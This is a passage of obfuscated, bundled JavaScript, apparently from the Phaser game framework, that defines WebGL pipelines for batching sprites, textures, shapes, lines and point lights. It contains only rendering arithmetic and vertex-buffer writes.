_0x55a288; return _0x4b1e1c ? (_0x4b1e1c['displayTexture'] ? _0x55a288 = _0x4b1e1c['displayTexture']['dataSource'][_0x4b1e1c['displayFrame']['sourceIndex']] : _0x4b1e1c['texture'] ? _0x55a288 = _0x4b1e1c['texture']['dataSource'][_0x4b1e1c['frame']['sourceIndex']] : _0x4b1e1c['tileset'] && (_0x55a288 = Array['isArray'](_0x4b1e1c['tileset']) ? _0x4b1e1c['tileset'][0x0]['image']['dataSource'][0x0] : _0x4b1e1c['tileset']['image']['dataSource'][0x0]), _0x55a288 ? _0x55a288['glTexture'] : this['renderer']['normalTexture']) : this['renderer']['normalTexture']; }, 'batchSprite': function (_0x2fcf4d, _0xc1d157, _0x222e3a) { this['lightsActive'] && _0x3b621a['prototype']['batchSprite']['call'](this, _0x2fcf4d, _0xc1d157, _0x222e3a); }, 'batchTexture': function (_0x484f17, _0x5214bd, _0x2b2fc3, _0x36a3f4, _0x454bba, _0x28bb6f, _0x5928d8, _0x1bc116, _0x3b57cd, _0x332dfb, _0x2848f7, _0x3fe7a7, _0x1fce01, _0x58edcd, _0x24111a, _0x655565, _0x3e322d, _0x3d28a2, _0xcba803, _0x2ceffb, _0x5cdcb4, _0x4f6ad1, _0x319099, _0x3e9298, _0x11bdab, _0x3d19e0, _0x398422, _0x1d9bab, _0x2cbfff, _0x203e09, _0x32183f, _0x1ac4c7) { this['lightsActive'] && _0x3b621a['prototype']['batchTexture']['call'](this, _0x484f17, _0x5214bd, _0x2b2fc3, _0x36a3f4, _0x454bba, _0x28bb6f, _0x5928d8, _0x1bc116, _0x3b57cd, _0x332dfb, _0x2848f7, _0x3fe7a7, _0x1fce01, _0x58edcd, _0x24111a, _0x655565, _0x3e322d, _0x3d28a2, _0xcba803, _0x2ceffb, _0x5cdcb4, _0x4f6ad1, _0x319099, _0x3e9298, _0x11bdab, _0x3d19e0, _0x398422, _0x1d9bab, _0x2cbfff, _0x203e09, _0x32183f, _0x1ac4c7); }, 'batchTextureFrame': function (_0x278132, _0x2bf992, _0x380732, _0x59e079, _0x54cbf1, _0x34d27c, _0xbb9e19) { this['lightsActive'] && _0x3b621a['prototype']['batchTextureFrame']['call'](this, _0x278132, _0x2bf992, _0x380732, _0x59e079, _0x54cbf1, _0x34d27c, _0xbb9e19); } }); _0x293dd1['exports'] = _0x5ea063; }, 0xdccf: (_0x3701fc, _0xe20928, _0x1e6cca) => { var _0xaf492f = _0x1e6cca(0x145db), _0x43fca1 = _0x1e6cca(0x17534), _0x1ebf64 = _0x1e6cca(0xe0ac), _0x4fae63 = _0x1e6cca(0xb1f9), _0x120dc4 = _0x1e6cca(0xed32), _0x3d3875 = _0x1e6cca(0x38a4), _0x6b4fa7 = _0x1e6cca(0x71ac), _0x127461 = new _0xaf492f({ 'Extends': _0x1ebf64, 'initialize': function (_0x4a48e9) { _0x4a48e9['fragShader'] = _0x43fca1(_0x4a48e9, 'fragShader', _0x4fae63), _0x4a48e9['vertShader'] = _0x43fca1(_0x4a48e9, 'vertShader', _0x120dc4), _0x4a48e9['attributes'] = _0x43fca1(_0x4a48e9, 'attributes', [{ 'name': 'inPosition', 'size': 0x2 }, { 'name': 'inTexCoord', 'size': 0x2 }, { 'name': 'inTexId' }, { 'name': 'inTintEffect' }, { 'name': 'inTint', 'size': 0x4, 'type': _0x3d3875['UNSIGNED_BYTE'], 'normalized': !0x0 }]), _0x4a48e9['forceZero'] = !0x0, _0x4a48e9['resizeUniform'] = 'uResolution', _0x1ebf64['call'](this, _0x4a48e9); }, 'boot': function () { _0x6b4fa7['prototype']['boot']['call'](this); var _0x273e7e = this['renderer']; this['set1i']('uMainSampler', 0x0), this['set2f']('uResolution', _0x273e7e['width'], _0x273e7e['height']); } }); _0x3701fc['exports'] = _0x127461; }, 0xe0ac: (_0x578529, _0x2f91ff, _0x453057) => { var _0x32e5d6 = _0x453057(0x145db), _0x550d30 = _0x453057(0x1725b), _0x1b274f = _0x453057(0x17534), _0x43fe1a = _0x453057(0x18218), _0xfc23bd = _0x453057(0xae7b), _0x423107 = _0x453057(0xef9c), _0x1704aa = _0x453057(0x1139a), _0x43b6b6 = _0x453057(0x38a4), _0x278ebf = _0x453057(0x71ac), _0x4d16f5 = new _0x32e5d6({ 'Extends': _0x278ebf, 'initialize': function (_0xdb4709) { var _0x26b559 = _0xdb4709['game']['renderer'], _0x5f3cfd = _0x1b274f(_0xdb4709, 'fragShader', _0x43fe1a); _0xdb4709['fragShader'] = _0x1704aa['parseFragmentShaderMaxTextures'](_0x5f3cfd, _0x26b559['maxTextures']), _0xdb4709['vertShader'] = _0x1b274f(_0xdb4709, 'vertShader', _0xfc23bd), _0xdb4709['attributes'] = _0x1b274f(_0xdb4709, 'attributes', [{ 'name': 'inPosition', 'size': 0x2 }, { 'name': 'inTexCoord', 'size': 0x2 }, { 'name': 'inTexId' }, { 'name': 'inTintEffect' }, { 'name': 'inTint', 'size': 0x4, 'type': _0x43b6b6['UNSIGNED_BYTE'], 'normalized': !0x0 }]), _0xdb4709['resizeUniform'] = 'uResolution', _0x278ebf['call'](this, _0xdb4709), this['_tempMatrix1'] = new _0x423107(), this['_tempMatrix2'] = new _0x423107(), this['_tempMatrix3'] = new _0x423107(), this['calcMatrix'] = new _0x423107(), this['tempTriangle'] = [{ 'x': 0x0, 'y': 0x0, 'width': 0x0 }, { 'x': 0x0, 'y': 0x0, 'width': 0x0 }, { 'x': 0x0, 'y': 0x0, 'width': 0x0 }, { 'x': 0x0, 'y': 0x0, 'width': 0x0 }], this['strokeTint'] = { 'TL': 0x0, 'TR': 0x0, 'BL': 0x0, 'BR': 0x0 }, this['fillTint'] = { 'TL': 0x0, 'TR': 0x0, 'BL': 0x0, 'BR': 0x0 }, this['currentFrame'] = { 'u0': 0x0, 'v0': 0x0, 'u1': 0x1, 'v1': 0x1 }, this['firstQuad'] = [0x0, 0x0, 0x0, 0x0, 0x0], this['prevQuad'] = [0x0, 0x0, 0x0, 0x0, 0x0], this['polygonCache'] = []; }, 'boot': function () { _0x278ebf['prototype']['boot']['call'](this); var _0x2c9bec = this['renderer']; this['set1iv']('uMainSampler', _0x2c9bec['textureIndexes']), this['set2f']('uResolution', _0x2c9bec['width'], _0x2c9bec['height']); }, 'batchSprite': function (_0x4944f1, _0x3fa6bc, _0x5bc57b) { this['manager']['set'](this, _0x4944f1); var _0x2d31f1 = this['_tempMatrix1'], _0x542f01 = this['_tempMatrix2'], _0xfd4beb = this['_tempMatrix3'], _0x3ce3e7 = _0x4944f1['frame'], _0x8ff34b = _0x3ce3e7['glTexture'], _0x1b1500 = _0x3ce3e7['u0'], _0x3a08ab = _0x3ce3e7['v0'], _0x3b8651 = _0x3ce3e7['u1'], _0x4e7cbc = _0x3ce3e7['v1'], _0x43c94b = _0x3ce3e7['x'], _0x5eb654 = _0x3ce3e7['y'], _0x8271a5 = _0x3ce3e7['cutWidth'], _0x2bc93e = _0x3ce3e7['cutHeight'], _0x34b71f = _0x3ce3e7['customPivot'], _0x5af464 = _0x4944f1['displayOriginX'], _0x445c16 = _0x4944f1['displayOriginY'], _0xa26f0f = -_0x5af464 + _0x43c94b, _0x27f560 = -_0x445c16 + _0x5eb654; if (_0x4944f1['isCropped']) { var _0x448a93 = _0x4944f1['_crop']; _0x448a93['flipX'] === _0x4944f1['flipX'] && _0x448a93['flipY'] === _0x4944f1['flipY'] || _0x3ce3e7['updateCropUVs'](_0x448a93, _0x4944f1['flipX'], _0x4944f1['flipY']), _0x1b1500 = _0x448a93['u0'], _0x3a08ab = _0x448a93['v0'], _0x3b8651 = _0x448a93['u1'], _0x4e7cbc = _0x448a93['v1'], _0x8271a5 = _0x448a93['width'], _0x2bc93e = _0x448a93['height'], _0xa26f0f = -_0x5af464 + (_0x43c94b = _0x448a93['x']), _0x27f560 = -_0x445c16 + (_0x5eb654 = _0x448a93['y']); } var _0xc2d3de = 0x1, _0x3712f5 = 0x1; _0x4944f1['flipX'] && (_0x34b71f || (_0xa26f0f += -_0x3ce3e7['realWidth'] + 0x2 * _0x5af464), _0xc2d3de = -0x1), _0x4944f1['flipY'] && (_0x34b71f || (_0x27f560 += -_0x3ce3e7['realHeight'] + 0x2 * _0x445c16), _0x3712f5 = -0x1); var _0xc4452b = _0x4944f1['x'], _0x32ac5a = _0x4944f1['y']; _0x3fa6bc['roundPixels'] && (_0xc4452b = Math['floor'](_0xc4452b), _0x32ac5a = Math['floor'](_0x32ac5a)), _0x542f01['applyITRS'](_0xc4452b, _0x32ac5a, _0x4944f1['rotation'], _0x4944f1['scaleX'] * _0xc2d3de, _0x4944f1['scaleY'] * _0x3712f5), _0x2d31f1['copyFrom'](_0x3fa6bc['matrix']), _0x5bc57b ? (_0x2d31f1['multiplyWithOffset'](_0x5bc57b, -_0x3fa6bc['scrollX'] * _0x4944f1['scrollFactorX'], -_0x3fa6bc['scrollY'] * _0x4944f1['scrollFactorY']), _0x542f01['e'] = _0xc4452b, _0x542f01['f'] = _0x32ac5a) : (_0x542f01['e'] -= _0x3fa6bc['scrollX'] * _0x4944f1['scrollFactorX'], _0x542f01['f'] -= _0x3fa6bc['scrollY'] * _0x4944f1['scrollFactorY']), _0x2d31f1['multiply'](_0x542f01, _0xfd4beb); var _0x1a2d87 = _0xfd4beb['setQuad'](_0xa26f0f, _0x27f560, _0xa26f0f + _0x8271a5, _0x27f560 + _0x2bc93e, _0x3fa6bc['renderRoundPixels']), _0x402bec = _0x1704aa['getTintAppendFloatAlpha'], _0x273ce9 = _0x3fa6bc['alpha'], _0x289500 = _0x402bec(_0x4944f1['tintTopLeft'], _0x273ce9 * _0x4944f1['_alphaTL']), _0x4a1232 = _0x402bec(_0x4944f1['tintTopRight'], _0x273ce9 * _0x4944f1['_alphaTR']), _0x561edb = _0x402bec(_0x4944f1['tintBottomLeft'], _0x273ce9 * _0x4944f1['_alphaBL']), _0x345bdb = _0x402bec(_0x4944f1['tintBottomRight'], _0x273ce9 * _0x4944f1['_alphaBR']); this['shouldFlush'](0x6) && this['flush'](); var _0x38ccdb = this['setGameObject'](_0x4944f1, _0x3ce3e7); this['manager']['preBatch'](_0x4944f1), this['batchQuad'](_0x4944f1, _0x1a2d87[0x0], _0x1a2d87[0x1], _0x1a2d87[0x2], _0x1a2d87[0x3], _0x1a2d87[0x4], _0x1a2d87[0x5], _0x1a2d87[0x6], _0x1a2d87[0x7], _0x1b1500, _0x3a08ab, _0x3b8651, _0x4e7cbc, _0x289500, _0x4a1232, _0x561edb, _0x345bdb, _0x4944f1['tintFill'], _0x8ff34b, _0x38ccdb), this['manager']['postBatch'](_0x4944f1); }, 'batchTexture': function (_0x2eea6b, _0x31b2b5, _0x5533fb, _0x5d2d6d, _0x1df232, _0x27b11c, _0x1f6853, _0xa770f4, _0xde2bd4, _0x318e80, _0x1d2e48, _0x44faab, _0x5e689a, _0x448885, _0x5d371c, _0x579333, _0x17159b, _0x1047e9, _0x4ba8d7, _0x2a78ba, _0x43b5de, _0x371606, _0x1b945c, _0x2b80e4, _0x1e0613, _0xad1ae9, _0x1e1187, _0x8656f1, _0x298618, _0x360b8, _0x1d7908, _0x5df9fe, _0x374ac8) { void 0x0 === _0x374ac8 && (_0x374ac8 = !0x1), this['manager']['set'](this, _0x2eea6b); var _0x750804 = this['_tempMatrix1'], _0x22202f = this['_tempMatrix2'], _0x232beb = this['_tempMatrix3'], _0x4c58e3 = _0x1047e9 / _0x5533fb + _0x1e1187, _0x1b5b9d = _0x4ba8d7 / _0x5d2d6d + _0x8656f1, _0x3d93bb = (_0x1047e9 + _0x2a78ba) / _0x5533fb + _0x1e1187, _0x445646 = (_0x4ba8d7 + _0x43b5de) / _0x5d2d6d + _0x8656f1, _0x81b79 = _0x1f6853, _0x4585d3 = _0xa770f4, _0x3d4a35 = -_0x579333, _0x309710 = -_0x17159b; if (_0x2eea6b['isCropped']) { var _0x4c9f8c = _0x2eea6b['_crop'], _0x43483e = _0x4c9f8c['width'], _0x1f67f1 = _0x4c9f8c['height']; _0x81b79 = _0x43483e, _0x4585d3 = _0x1f67f1, _0x1f6853 = _0x43483e, _0xa770f4 = _0x1f67f1; var _0x53a79e = _0x1047e9 = _0x4c9f8c['x'], _0x1849b3 = _0x4ba8d7 = _0x4c9f8c['y']; _0x44faab && (_0x53a79e = _0x2a78ba - _0x4c9f8c['x'] - _0x43483e), _0x5e689a && (_0x1849b3 = _0x43b5de - _0x4c9f8c['y'] - _0x1f67f1), _0x4c58e3 = _0x53a79e / _0x5533fb + _0x1e1187, _0x1b5b9d = _0x1849b3 / _0x5d2d6d + _0x8656f1, _0x3d93bb = (_0x53a79e + _0x43483e) / _0x5533fb + _0x1e1187, _0x445646 = (_0x1849b3 + _0x1f67f1) / _0x5d2d6d + _0x8656f1, _0x3d4a35 = -_0x579333 + _0x1047e9, _0x309710 = -_0x17159b + _0x4ba8d7; } _0x44faab && (_0x81b79 *= -0x1, _0x3d4a35 += _0x1f6853), (_0x5e689a ^= !_0x1d7908 && _0x31b2b5['isRenderTexture'] ? 0x1 : 0x0) && (_0x4585d3 *= -0x1, _0x309710 += _0xa770f4), _0x298618['roundPixels'] && (_0x1df232 = Math['floor'](_0x1df232), _0x27b11c = Math['floor'](_0x27b11c)), _0x22202f['applyITRS'](_0x1df232, _0x27b11c, _0x1d2e48, _0xde2bd4, _0x318e80), _0x750804['copyFrom'](_0x298618['matrix']), _0x360b8 ? (_0x750804['multiplyWithOffset'](_0x360b8, -_0x298618['scrollX'] * _0x448885, -_0x298618['scrollY'] * _0x5d371c), _0x22202f['e'] = _0x1df232, _0x22202f['f'] = _0x27b11c) : (_0x22202f['e'] -= _0x298618['scrollX'] * _0x448885, _0x22202f['f'] -= _0x298618['scrollY'] * _0x5d371c), _0x750804['multiply'](_0x22202f, _0x232beb); var _0x46f147 = _0x232beb['setQuad'](_0x3d4a35, _0x309710, _0x3d4a35 + _0x81b79, _0x309710 + _0x4585d3, _0x298618['renderRoundPixels']); null == _0x5df9fe && (_0x5df9fe = this['setTexture2D'](_0x31b2b5)), _0x2eea6b && !_0x374ac8 && this['manager']['preBatch'](_0x2eea6b), this['batchQuad'](_0x2eea6b, _0x46f147[0x0], _0x46f147[0x1], _0x46f147[0x2], _0x46f147[0x3], _0x46f147[0x4], _0x46f147[0x5], _0x46f147[0x6], _0x46f147[0x7], _0x4c58e3, _0x1b5b9d, _0x3d93bb, _0x445646, _0x371606, _0x1b945c, _0x2b80e4, _0x1e0613, _0xad1ae9, _0x31b2b5, _0x5df9fe), _0x2eea6b && !_0x374ac8 && this['manager']['postBatch'](_0x2eea6b); }, 'batchTextureFrame': function (_0x179bde, _0x194606, _0x34abc3, _0x1d7f31, _0xf237a3, _0x416282, _0x256522) { this['manager']['set'](this); var _0x512121 = this['_tempMatrix1']['copyFrom'](_0x416282), _0x3c838b = this['_tempMatrix2']; _0x256522 ? _0x512121['multiply'](_0x256522, _0x3c838b) : _0x3c838b = _0x512121; var _0x4c1f16 = _0x3c838b['setQuad'](_0x194606, _0x34abc3, _0x194606 + _0x179bde['width'], _0x34abc3 + _0x179bde['height']), _0x1e3267 = this['setTexture2D'](_0x179bde['source']['glTexture']); _0x1d7f31 = _0x1704aa['getTintAppendFloatAlpha'](_0x1d7f31, _0xf237a3), this['batchQuad'](null, _0x4c1f16[0x0], _0x4c1f16[0x1], _0x4c1f16[0x2], _0x4c1f16[0x3], _0x4c1f16[0x4], _0x4c1f16[0x5], _0x4c1f16[0x6], _0x4c1f16[0x7], _0x179bde['u0'], _0x179bde['v0'], _0x179bde['u1'], _0x179bde['v1'], _0x1d7f31, _0x1d7f31, _0x1d7f31, _0x1d7f31, 0x0, _0x179bde['glTexture'], _0x1e3267); }, 'batchFillRect': function (_0x20ac25, _0x11e7e4, _0x642414, _0x2e8995, _0x208636, _0x29373e) { this['renderer']['pipelines']['set'](this); var _0x2dd848 = this['calcMatrix']; _0x29373e && _0x29373e['multiply'](_0x208636, _0x2dd848); var _0x1b85e4 = _0x2dd848['setQuad'](_0x20ac25, _0x11e7e4, _0x20ac25 + _0x642414, _0x11e7e4 + _0x2e8995), _0x20878c = this['fillTint']; this['batchQuad'](null, _0x1b85e4[0x0], _0x1b85e4[0x1], _0x1b85e4[0x2], _0x1b85e4[0x3], _0x1b85e4[0x4], _0x1b85e4[0x5], _0x1b85e4[0x6], _0x1b85e4[0x7], 0x0, 0x0, 0x1, 0x1, _0x20878c['TL'], _0x20878c['TR'], _0x20878c['BL'], _0x20878c['BR'], 0x2); }, 'batchFillTriangle': function (_0x468c8e, _0x5800bb, _0x30d81b, _0x125c16, _0x459586, _0x39bf4b, _0x10cd04, _0x2cf8b6) { this['renderer']['pipelines']['set'](this); var _0x4e336f = this['calcMatrix']; _0x2cf8b6 && _0x2cf8b6['multiply'](_0x10cd04, _0x4e336f); var _0x1d81bf = _0x4e336f['getX'](_0x468c8e, _0x5800bb), _0x948e63 = _0x4e336f['getY'](_0x468c8e, _0x5800bb), _0x1149ca = _0x4e336f['getX'](_0x30d81b, _0x125c16), _0x29e077 = _0x4e336f['getY'](_0x30d81b, _0x125c16), _0x21b4c6 = _0x4e336f['getX'](_0x459586, _0x39bf4b), _0x38b736 = _0x4e336f['getY'](_0x459586, _0x39bf4b), _0x4e5608 = this['fillTint']; this['batchTri'](null, _0x1d81bf, _0x948e63, _0x1149ca, _0x29e077, _0x21b4c6, _0x38b736, 0x0, 0x0, 0x1, 0x1, _0x4e5608['TL'], _0x4e5608['TR'], _0x4e5608['BL'], 0x2); }, 'batchStrokeTriangle': function (_0x398e5f, _0x2200e4, _0x46633c, _0x55b554, _0x26b20c, _0x524e1d, _0x18fe4d, _0x4e764e, _0x62421d) { var _0x284a00 = this['tempTriangle']; _0x284a00[0x0]['x'] = _0x398e5f, _0x284a00[0x0]['y'] = _0x2200e4, _0x284a00[0x0]['width'] = _0x18fe4d, _0x284a00[0x1]['x'] = _0x46633c, _0x284a00[0x1]['y'] = _0x55b554, _0x284a00[0x1]['width'] = _0x18fe4d, _0x284a00[0x2]['x'] = _0x26b20c, _0x284a00[0x2]['y'] = _0x524e1d, _0x284a00[0x2]['width'] = _0x18fe4d, _0x284a00[0x3]['x'] = _0x398e5f, _0x284a00[0x3]['y'] = _0x2200e4, _0x284a00[0x3]['width'] = _0x18fe4d, this['batchStrokePath'](_0x284a00, _0x18fe4d, !0x1, _0x4e764e, _0x62421d); }, 'batchFillPath': function (_0x1c9ca4, _0x6874ad, _0x24c26e) { this['renderer']['pipelines']['set'](this); var _0x13cf3c = this['calcMatrix']; _0x24c26e && _0x24c26e['multiply'](_0x6874ad, _0x13cf3c); for (var _0x1691ad, _0x4e5a3a, _0x518ca4 = _0x1c9ca4['length'], _0x2995c0 = this['polygonCache'], _0xa1267d = this['fillTint']['TL'], _0x58da77 = this['fillTint']['TR'], _0x193d37 = this['fillTint']['BL'], _0xcf672 = 0x0; _0xcf672 < _0x518ca4; ++_0xcf672)_0x4e5a3a = _0x1c9ca4[_0xcf672], _0x2995c0['push'](_0x4e5a3a['x'], _0x4e5a3a['y']); _0x518ca4 = (_0x1691ad = _0x550d30(_0x2995c0))['length']; for (var _0x3add4d = 0x0; _0x3add4d < _0x518ca4; _0x3add4d += 0x3) { var _0x36f536 = 0x2 * _0x1691ad[_0x3add4d + 0x0], _0x1edee8 = 0x2 * _0x1691ad[_0x3add4d + 0x1], _0x511ccb = 0x2 * _0x1691ad[_0x3add4d + 0x2], _0x1b27e7 = _0x2995c0[_0x36f536 + 0x0], _0x3b0648 = _0x2995c0[_0x36f536 + 0x1], _0xea473f = _0x2995c0[_0x1edee8 + 0x0], _0x278f96 = _0x2995c0[_0x1edee8 + 0x1], _0x513b02 = _0x2995c0[_0x511ccb + 0x0], _0x10e0a8 = _0x2995c0[_0x511ccb + 0x1], _0x7d29b1 = _0x13cf3c['getX'](_0x1b27e7, _0x3b0648), _0x4f3551 = _0x13cf3c['getY'](_0x1b27e7, _0x3b0648), _0x580ad2 = _0x13cf3c['getX'](_0xea473f, _0x278f96), _0x135405 = _0x13cf3c['getY'](_0xea473f, _0x278f96), _0x1862ca = _0x13cf3c['getX'](_0x513b02, _0x10e0a8), _0x564afb = _0x13cf3c['getY'](_0x513b02, _0x10e0a8); this['batchTri'](null, _0x7d29b1, _0x4f3551, _0x580ad2, _0x135405, _0x1862ca, _0x564afb, 0x0, 0x0, 0x1, 0x1, _0xa1267d, _0x58da77, _0x193d37, 0x2); } _0x2995c0['length'] = 0x0; }, 'batchStrokePath': function (_0x42b0c8, _0x284b50, _0x522027, _0x53cb7e, _0xbfaecd) { this['renderer']['pipelines']['set'](this), this['prevQuad'][0x4] = 0x0, this['firstQuad'][0x4] = 0x0; for (var _0x44ddb7 = _0x42b0c8['length'] - 0x1, _0x5bfae9 = 0x0; _0x5bfae9 < _0x44ddb7; _0x5bfae9++) { var _0x1d2c8b = _0x42b0c8[_0x5bfae9], _0x4be77c = _0x42b0c8[_0x5bfae9 + 0x1]; this['batchLine'](_0x1d2c8b['x'], _0x1d2c8b['y'], _0x4be77c['x'], _0x4be77c['y'], _0x1d2c8b['width'] / 0x2, _0x4be77c['width'] / 0x2, _0x284b50, _0x5bfae9, !_0x522027 && _0x5bfae9 === _0x44ddb7 - 0x1, _0x53cb7e, _0xbfaecd); } }, 'batchLine': function (_0x219e99, _0x198c25, _0x45429c, _0x6c256f, _0x21de7b, _0x348c81, _0x8e5e40, _0xd31762, _0x169a63, _0x100562, _0x211921) { this['renderer']['pipelines']['set'](this); var _0x4feea6 = this['calcMatrix']; _0x211921 && _0x211921['multiply'](_0x100562, _0x4feea6); var _0x11eb7a = _0x45429c - _0x219e99, _0x4f155f = _0x6c256f - _0x198c25, _0x3c6e10 = Math['sqrt'](_0x11eb7a * _0x11eb7a + _0x4f155f * _0x4f155f); if (0x0 !== _0x3c6e10) { var _0x13f961 = _0x21de7b * (_0x6c256f - _0x198c25) / _0x3c6e10, _0x41bbbb = _0x21de7b * (_0x219e99 - _0x45429c) / _0x3c6e10, _0x60b0c6 = _0x348c81 * (_0x6c256f - _0x198c25) / _0x3c6e10, _0x525b99 = _0x348c81 * (_0x219e99 - _0x45429c) / _0x3c6e10, _0x44594a = _0x45429c - _0x60b0c6, _0x250400 = _0x6c256f - _0x525b99, _0x17e923 = _0x219e99 - _0x13f961, _0x59518a = _0x198c25 - _0x41bbbb, _0x3ebde6 = _0x45429c + _0x60b0c6, _0x5f50c4 = _0x6c256f + _0x525b99, _0x127680 = _0x219e99 + _0x13f961, _0xe8b2c4 = _0x198c25 + _0x41bbbb, _0x1a4030 = _0x4feea6['getX'](_0x44594a, _0x250400), _0x502728 = _0x4feea6['getY'](_0x44594a, _0x250400), _0x3eadc7 = _0x4feea6['getX'](_0x17e923, _0x59518a), _0x21a02f = _0x4feea6['getY'](_0x17e923, _0x59518a), _0x3c272d = _0x4feea6['getX'](_0x3ebde6, _0x5f50c4), _0x173929 = _0x4feea6['getY'](_0x3ebde6, _0x5f50c4), _0x105eaf = _0x4feea6['getX'](_0x127680, _0xe8b2c4), _0x1f89df = _0x4feea6['getY'](_0x127680, _0xe8b2c4), _0x5a7cab = this['strokeTint'], _0x93b176 = _0x5a7cab['TL'], _0x54f580 = _0x5a7cab['TR'], _0x26ec3d = _0x5a7cab['BL'], _0x5c722d = _0x5a7cab['BR']; if (this['batchQuad'](null, _0x105eaf, _0x1f89df, _0x3eadc7, _0x21a02f, _0x1a4030, _0x502728, _0x3c272d, _0x173929, 0x0, 0x0, 0x1, 0x1, _0x93b176, _0x54f580, _0x26ec3d, _0x5c722d, 0x2), !(_0x8e5e40 <= 0x2)) { var _0x3fb4ba = this['prevQuad'], _0x50acec = this['firstQuad']; _0xd31762 > 0x0 && _0x3fb4ba[0x4] ? this['batchQuad'](null, _0x105eaf, _0x1f89df, _0x3eadc7, _0x21a02f, _0x3fb4ba[0x0], _0x3fb4ba[0x1], _0x3fb4ba[0x2], _0x3fb4ba[0x3], 0x0, 0x0, 0x1, 0x1, _0x93b176, _0x54f580, _0x26ec3d, _0x5c722d, 0x2) : (_0x50acec[0x0] = _0x105eaf, _0x50acec[0x1] = _0x1f89df, _0x50acec[0x2] = _0x3eadc7, _0x50acec[0x3] = _0x21a02f, _0x50acec[0x4] = 0x1), _0x169a63 && _0x50acec[0x4] ? this['batchQuad'](null, _0x1a4030, _0x502728, _0x3c272d, _0x173929, _0x50acec[0x0], _0x50acec[0x1], _0x50acec[0x2], _0x50acec[0x3], 0x0, 0x0, 0x1, 0x1, _0x93b176, _0x54f580, _0x26ec3d, _0x5c722d, 0x2) : (_0x3fb4ba[0x0] = _0x1a4030, _0x3fb4ba[0x1] = _0x502728, _0x3fb4ba[0x2] = _0x3c272d, _0x3fb4ba[0x3] = _0x173929, _0x3fb4ba[0x4] = 0x1); } } }, 'destroy': function () { return this['_tempMatrix1']['destroy'](), this['_tempMatrix2']['destroy'](), this['_tempMatrix3']['destroy'](), this['_tempMatrix1'] = null, this['_tempMatrix1'] = null, this['_tempMatrix1'] = null, _0x278ebf['prototype']['destroy']['call'](this), this; } }); _0x578529['exports'] = _0x4d16f5; }, 0xa9af: (_0x2fcf5a, _0x12e3f7, _0x3d554c) => { var _0x55d18a = _0x3d554c(0x145db), _0x935f02 = _0x3d554c(0x17534), _0x21dac7 = _0x3d554c(0x101f), _0x538631 = _0x3d554c(0x15f44), _0x2c8d4e = _0x3d554c(0x71ac), _0x1ba938 = new _0x55d18a({ 'Extends': _0x2c8d4e, 'initialize': function (_0x34ff76) { _0x34ff76['vertShader'] = _0x935f02(_0x34ff76, 'vertShader', _0x538631), _0x34ff76['fragShader'] = _0x935f02(_0x34ff76, 'fragShader', _0x21dac7), _0x34ff76['attributes'] = _0x935f02(_0x34ff76, 'attributes', [{ 'name': 'inPosition', 'size': 0x2 }, { 'name': 'inLightPosition', 'size': 0x2 }, { 'name': 'inLightRadius' }, { 'name': 'inLightAttenuation' }, { 'name': 'inLightColor', 'size': 0x4 }]), _0x2c8d4e['call'](this, _0x34ff76); }, 'onRender': function (_0x4def5c, _0x325a42) { this['set2f']('uResolution', this['width'], this['height']), this['set1f']('uCameraZoom', _0x325a42['zoom']); }, 'batchPointLight': function (_0x507c81, _0x201893, _0x2ea46b, _0x3c00b7, _0x564b5e, _0x3ea7dd, _0xe2c44a, _0x85878e, _0x125e4d, _0x671ad1, _0x126c6d, _0x218bde) { var _0x2d102d = _0x507c81['color'], _0x1e75a4 = _0x507c81['intensity'], _0x227d89 = _0x507c81['radius'], _0x3ad1f7 = _0x507c81['attenuation'], _0x4cd911 = _0x2d102d['r'] * _0x1e75a4, _0x4ae9f2 = _0x2d102d['g'] * _0x1e75a4, _0x3477ff = _0x2d102d['b'] * _0x1e75a4, _0x3713b3 = _0x201893['alpha'] * _0x507c81['alpha']; this['shouldFlush'](0x6) && this['flush'](), this['currentBatch'] || this['setTexture2D'](), this['batchLightVert'](_0x2ea46b, _0x3c00b7, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['batchLightVert'](_0x564b5e, _0x3ea7dd, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['batchLightVert'](_0xe2c44a, _0x85878e, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['batchLightVert'](_0x2ea46b, _0x3c00b7, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['batchLightVert'](_0xe2c44a, _0x85878e, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['batchLightVert'](_0x125e4d, _0x671ad1, _0x126c6d, _0x218bde, _0x227d89, _0x3ad1f7, _0x4cd911, _0x4ae9f2, _0x3477ff, _0x3713b3), this['currentBatch']['count'] = this['vertexCount'] - this['currentBatch']['start']; }, 'batchLightVert': function (_0x111035, _0x3f9761, _0x59f546, _0x19daca, _0x56e62c, _0x3b3002, _0x575792, _0x166f05, _0x448029, _0x1de33f) { var _0x34acdd = this['vertexViewF32'], _0x3b7275 = this['vertexCount'] * this['currentShader']['vertexComponentCount'] - 0x1; _0x34acdd[++_0x3b7275] = _0x111035, _0x34acdd[++_0x3b7275] = _0x3f9761, _0x34acdd[++_0x3b7275] = _0x59f546, _0x34acdd[++_0x3b7275] = _0x19daca, _0x34acdd[++_0x3b7275] = _0x56e62c, _0x34acdd[++_0x3b7275] = _0x3b3002, _0x34acdd[++_0x3b7275] = _0x575792, _0x34acdd[++_0x3b7275] = _0x166f05, _0x34acdd[++_0x3b7275] = _0x448029, _0x34acdd[++_0x3b7275] = _0x1de33f, this['vertexCount']++; } }); _0x2fcf5a['exports'] = _0x1ba938; }, 0x14859: (_0x8cc1ae, _0x37d2bd, _0x48ef8d) => { var _0x2e4e52 = _0x48ef8d(0x145db), _0x48b1f7 = _0x48ef8d(0x15d4e), _0x100a30 = _0x48ef8d(0x17534), _0x255190 = _0x48ef8d(0x6c21), _0x48f6be = _0x48ef8d(0xc1db), _0xfd6811 = _0x48ef8d(0x71ac), _0x4db6f5 = new _0x2e4e52({ 'Extends': _0xfd6811, 'initialize': function (_0xa5c84c) { _0xa5c84c['renderTarget'] = _0x100a30(_0xa5c84c, 'renderTarget', 0x1), _0xa5c84c['fragShader'] = _0x100a30(_0xa5c84c, 'fragShader', _0x255190), _0xa5c84c['vertShader'] = _0x100a30(_0xa5c84c, 'vertShader', _0x48f6be), _0xa5c84c['attributes'] = _0x100a30(_0xa5c84c, 'attributes', 